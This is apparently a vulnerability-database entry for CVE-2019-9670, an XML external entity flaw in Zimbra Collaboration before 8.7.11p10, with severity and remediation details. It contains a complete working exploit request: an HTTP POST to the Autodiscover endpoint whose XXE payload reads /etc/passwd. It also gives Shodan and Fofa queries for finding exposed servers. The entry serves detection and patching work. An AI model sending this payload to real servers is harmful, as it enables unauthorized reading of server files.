| Title | Synacor Zimbra Collaboration <8.7.11p10 - XML External Entity Injection |
|---|---|
| Author | ree4pwn |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, leading to unauthorized access to sensitive information. |
| Remediation | Upgrade to the latest version of Synacor Zimbra Collaboration (8.7.11p10 or higher) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9443 |
| CVE ID | CVE-2019-9670 |
| CWE ID | CWE-611 |
| Shodan Query | http.title:"zimbra collaboration suite"http.title:"zimbra web client sign in" |
| Fofa Query | title="zimbra web client sign in"title="zimbra collaboration suite" |
| Tags | cve cve2019 zimbra xxe kev edb packetstorm synacor vkev vuln |
Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML external entity injection (XXE) vulnerability via the mailboxd component.
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Content-Length: 322
Content-Type: application/xml
Accept-Encoding: gzip
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9670.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9670.pcap
N/AN/A